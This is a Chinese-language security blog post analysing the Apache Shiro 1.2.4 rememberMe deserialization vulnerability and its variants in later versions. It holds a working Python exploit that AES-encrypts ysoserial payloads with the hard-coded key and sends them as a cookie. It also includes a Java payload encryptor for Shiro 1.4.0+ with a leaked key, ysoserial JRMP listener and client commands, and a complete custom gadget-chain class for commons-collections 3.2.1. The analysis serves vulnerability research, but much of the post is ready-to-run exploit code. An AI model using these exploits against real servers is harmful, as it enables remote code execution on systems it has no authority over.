shiro 1.2.4反序列化及扩展思考

前言

本篇为对shiro-550反序列化漏洞的分析以及扩展问题的思考

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/lih3iu/Tools/ysoserial.jar'


def poc(url, rce_command):
try:
payload = generator(rce_command, JAR_FILE)
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)
print r.text
except Exception, e:
pass
return False


def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
poc('http://127.0.0.1:8080/samples_web_1_2_4_war', 'touch /tmp/123')

加密过程RememberMe生成分析

在正常登陆的情况下,返回包中会返回rememberMe这个字段,如下:

0neJOA.png

跟进看下代码中加密的过程(rememberMe的生成过程)

AbstractRememberMeManager#onSuccessfulLogin

在开启rememberMe的选项下,进入rememberIdentity函数

1
2
3
4
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}

接着进入另一个rememberIdentity函数

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

跟进convertPrincipalsToBytes函数

可以看到这里先将包含用户登陆信息的对象进行序列化,然后通过encrypt函数进行加密

看下具体的序列化流程代码

DefaultSerializer#serializer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public byte[] serialize(T o) throws SerializationException {
if (o == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException var6) {
String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
throw new SerializationException(msg, var6);
}
}
}

接着回到刚才的流程中进入encrypt函数

JcaCipherService#encrypt

1
2
3
4
5
6
7
8
9
10
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}

return value;
}

跟进getCipherService函数看一下

AbstractRememberMeManager#getCipherService

这里返回的是cbc模式的AESCipherServer,并且将key和序列化的数据传进CipherServer内部的encrypt进行加密

跟进下getEncryptionCipherKey函数,也就是aes Key的获取函数

1
2
3
4
5
6
public byte[] getEncryptionCipherKey() {
return this.encryptionCipherKey;
}


private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

这个硬编码的密钥key也就是产生漏洞的主要原因了,最后通过以下两个encrypt函数加密并将数据赋给bytesource变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
    public ByteSource encrypt(byte[] plaintext, byte[] key) {
byte[] ivBytes = null;
boolean generate = this.isGenerateInitializationVectors(false);
if (generate) {
ivBytes = this.generateInitializationVector(false);
if (ivBytes == null || ivBytes.length == 0) {
throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
}
}

return this.encrypt(plaintext, key, ivBytes, generate);
}




///
private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {
int MODE = true;
byte[] output;
if (prependIv && iv != null && iv.length > 0) {
byte[] encrypted = this.crypt(plaintext, key, iv, 1);
output = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, output, 0, iv.length);
System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
} else {
output = this.crypt(plaintext, key, iv, 1);
}

if (log.isTraceEnabled()) {
log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ". Ciphertext " + "byte array is size " + (output != null ? output.length : 0));
}

return Util.bytes(output);
}

逻辑回到前面的代码,得到数据后,再次进入rememberSerializedIdentity函数,我们刚才传进去的byte作为serialized变量被base64加密后设置在Cookie中

0uU5kT.png

将得到的数据设置在cookie中,整个流程结束

同时我们也可以将得到的数据,解密并验证,也看到了aced0005的序列化标志。

漏洞分析

漏洞的话大体流程和加密过程类似,只不过是反过来了

AbstractRememberMeManager#getRememberedPrincipals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;

try {
➡️ byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}

return principals;
}

跟进getRememberedSerializedIdentity函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
...
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}

byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}

return decoded;
} else {
return null;
}
}
}
}

通过readValue函数获得rememberMe字段

最后再进行base64解密返回,并传给convertBytesToPrincipals函数

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

再进入decrypt函数

0Qr9Qf.png

依然是通过aescipherService将数据进行解密,然后返回进入deserialize函数

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
}

0QrdOO.png

这里的话就看到了熟悉的readObject反序列化了,对数据进行反序列化,所以如果classpath存在有反序列化链的话则可以构造对应的反序列化数据来触发此漏洞

shiro版本1.4.0+的一些问题

在1.2.25给出了关于密钥的修复方案

0lVsyD.png

舍弃了默认key硬编码的方式,改为通过generateNewKey函数来产生一个新的随机的key,按理来说这确实没什么问题,不过一些开源框架中会把key默认写在配置文件中,而通过任意文件读取漏洞/key包就可能同样达到rce的效果

这里用ruoyi后台管理系统举下例子(在今年的强网final中同样也有了ruoyi作为rw的一道题)

在ShiroConfig.java中有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
    public CookieRememberMeManager rememberMeManager()
{
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
return cookieRememberMeManager;
}

//cipherkey的获取

@Value("${shiro.cookie.cipherKey}")
private String cipherKey;

通过rememberMeManager函数来设置shire-web jar包中的cipher key,所以在框架启动时这个key就相当于shirt 1.2.4的硬编码密码了

那么对于shirt 1.4.0+的反序列化漏洞 网上的大多数脚本都将失效,因为shiro1.4.0舍弃了cbc模式,变成了GCM模式

0lQNPH.png

所以还是直接采用自带的cipherServer去加密比较好

PoC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("{ysoserailPoC.ser}"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("{CipherKey}"));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

CommonCollections版本为3.2.1下shiro反序列化问题的探究

问题分析

当cc版本为3.2.1的情况下,直接去打对应的cc5会出现如下报错

085G90.png

跟进下具体的readObject去看下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}

可以看到shiro这里是重写了ObjectInputStream类的resolveClass函数,原代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

可以看到这里是更换了类的查找方式,从Class.forName转为了ClassUtils.forName,跟进下ClassUtils.forName的内部实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}

clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}

clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}

可以看到这里是用三种load的方式,分别是THREAD_CL_ACCESSOR,CLASS_CL_ACCESSOR,SYSTEM_CL_ACCESSOR

跟进THREAD_CL_ACCESSOR

087axx.png

而此时的ParallelWebappClassLoader已经是处于Tomcat上下文环境了,所以接下来的跟进要注意导入tomcat源码

接下来以三个类的加载过程来剖析下shiro的类加载机制

1.Java.lang.Exception

在ParallelWebappClassLoader的loadclass中,首先会检测loaded local class cache

08Ht0S.png

跟下看下函数的具体实现

08zm01.png

首先会通过binaryNameToPath函数将class名字转化为路径格式,然后在resourceEntries中进行查找已缓存类的path是否包含此path(不过看起来这些已缓存的path大多都是shiro的一些类

接着回到刚才的逻辑中

0GCFER.png

再次从loaded class cache中检索,具体代码实现如下

1
2
3
4
5
6
7
protected final Class<?> findLoadedClass(String name) {
if (!checkName(name))
return null;
return findLoadedClass0(name);
}

private native final Class<?> findLoadedClass0(String name);

这里的例子java.lang.Exception在这里即可被加载到

2.java.lang.runtime

此类在前两处缓存检索中无法找到,接着进入下面的逻辑

0G3ViV.png

首先依然是先转化出path,然后生成class loader,通过是否可以得到url来给tryLoadingFromJavaseLoader赋值

1
2
3
4
5
6
7
8
9
10
11
12
if (tryLoadingFromJavaseLoader) {
try {
clazz = javaseLoader.loadClass(name);
if (clazz != null) {
if (resolve)
resolveClass(clazz);
return clazz;
}
} catch (ClassNotFoundException e) {
// Ignore
}
}

看下这个javaseLoader

0GG5GV.png

从上面的图片大概就可以知道这个loader是用来加载jdk里面的一些类的,最终通过findBootstrapClassOrNull函数找到对应的类并返回

3.[Ljava.lang.StackTraceElement

这种数组类也是很多人的疑问点,为什么这个数组类可以加载,而transformer的数组类就不可以加载,而网上的文章大多数也并不严谨,只是说cl.loadclass不能加载数组类型,而实际上连WebappClassLoaderBase.java这个文件都没有跟进,只是简单的复制粘贴过程,导致垃圾无意义的文章越来越多(大概用中文进行搜索很多都是这种无意义的文章).

接下来就是看下为什么这个数组类可以被加载吧

同样的前两个缓存无法检索到,接着来到第三部分的加载

0GtA8P.png

可以看到数组类型的resourceName获取后的结果根本无法搜索到,导致getResource函数函数获取结果为空,无法进行findclass,所以导致此类无法在这里被加载

0GU1XT.png

接着向下跟进

0GXBBq.png

由于此类在tomcat环境上下文中存在,所以成功加载并返回

4.org.apache.commons.collections.functors.ConstantTransformer

直接跟进第四处加载部分(前面的三处加载无法找到此类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (log.isDebugEnabled())
log.debug(" Searching local repositories");
try {
clazz = findClass(name);
if (clazz != null) {
if (log.isDebugEnabled())
log.debug(" Loading class from local repository");
if (resolve)
resolveClass(clazz);
return clazz;
}
} catch (ClassNotFoundException e) {
// Ignore
}

跟进findclass函数

1
2
3
4
5
6
7
8
9
10
11
try {
if (log.isTraceEnabled())
log.trace(" findClassInternal(" + name + ")");
try {
if (securityManager != null) {
PrivilegedAction<Class<?>> dp =
new PrivilegedFindClassByName(name);
clazz = AccessController.doPrivileged(dp);
} else {
clazz = findClassInternal(name);
}

跟进findClassInternal函数

0GTLm8.png

首先通过getContent函数来得到binaryContent,然后直接通过defineClass函数生成此类并返回

0G7C60.png

那么接下来就是对[Lorg.apache.commons.collections.Transformer;为什么不能被加载原因的探讨了,主要还是在findclass中,同样还是进入findClassInternal函数

0Gqq3j.png

由于对数组的处理bug问题,导致代码无法向下继续,接着进入如下代码逻辑

0GLGrt.png

由于loader为urlclassloader,所以也无法加载此类

0GOQoT.png

可以看到这里的classpath加载的是tomcat的,不过如果在tomcat的lib下面加上一个commmoncollection的jar包,就可以load成功了。

解决方案

JRMP Bypass
1
2
3
4
5
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 8793 CommonsCollections5 'open /System/Applications/Calculator.app'



java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '0.0.0.0:8793'

不过此方法会受到java版本的影响,在jdk8u45下成功,8u231下失败(这也是网上大多数文章根本没有提及的一点)

(请教了下LFY师傅,在高版本的jdk会有jep290的保护,导致jrmp失效,留个坑,之后来填)

随后我又试了8u191,8u112均可以成功

通过非数组的构造链来RCE

在CommonCollections为4.0时,我们可以通过cc2来打通(也是因为2是通过TemplatesImpl.newTransformer来动态加载构造好的恶意类来rce的)

而在CommonCollections为3.2.1的时候,ysoserial的链都是通过ChainedTransformer的数组循环来rce的,但是这里的数组类在shiro中由于bug的问题无法加载成功,所以就需要一条非数组参与的链来实现。

这里参考下wh1t3p1g师傅的gadget构造思路

https://www.anquanke.com/post/id/192619

LazyMap#get

1
2
3
4
5
6
7
8
9
10
    public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}

这里可以通过this.factory.transform和InvokerTransformer.transformer产生联动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#key->templates
final Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");

#设置key
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

Object value = this.factory.transform(key);

#设置Method

Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

#Invoketransformer
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

这里我是通过TiedMapEntry.toString()触发的getvalue而不是文章中hashcode触发的,所以前面配合一下BadAttributeValueExpException.readObject()就可以了,放下完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;
import ysoserial.payloads.util.Gadgets;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
InvokerTransformer.transform()
templates(evil code)

Requires:
commons-collections
*/

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})

public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {

final Object templates = Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");

final InvokerTransformer transformer =new InvokerTransformer("toString",new Class[0],new Object[0]);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

return val;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections9.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}

}
新bypass手法的思考

在cl.loadclass中前两个loadclass会通过缓存来搜索类,如果我们可以通过某些操作把恶意class注入到缓存中,那么应该也能成为一种新的bypass手段(挖个坑

参考链接

https://www.anquanke.com/post/id/192619

http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

https://blog.zsxsoft.com/post/35

http://redteam.today/2019/09/20/shiro%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%8D%E7%8E%B0/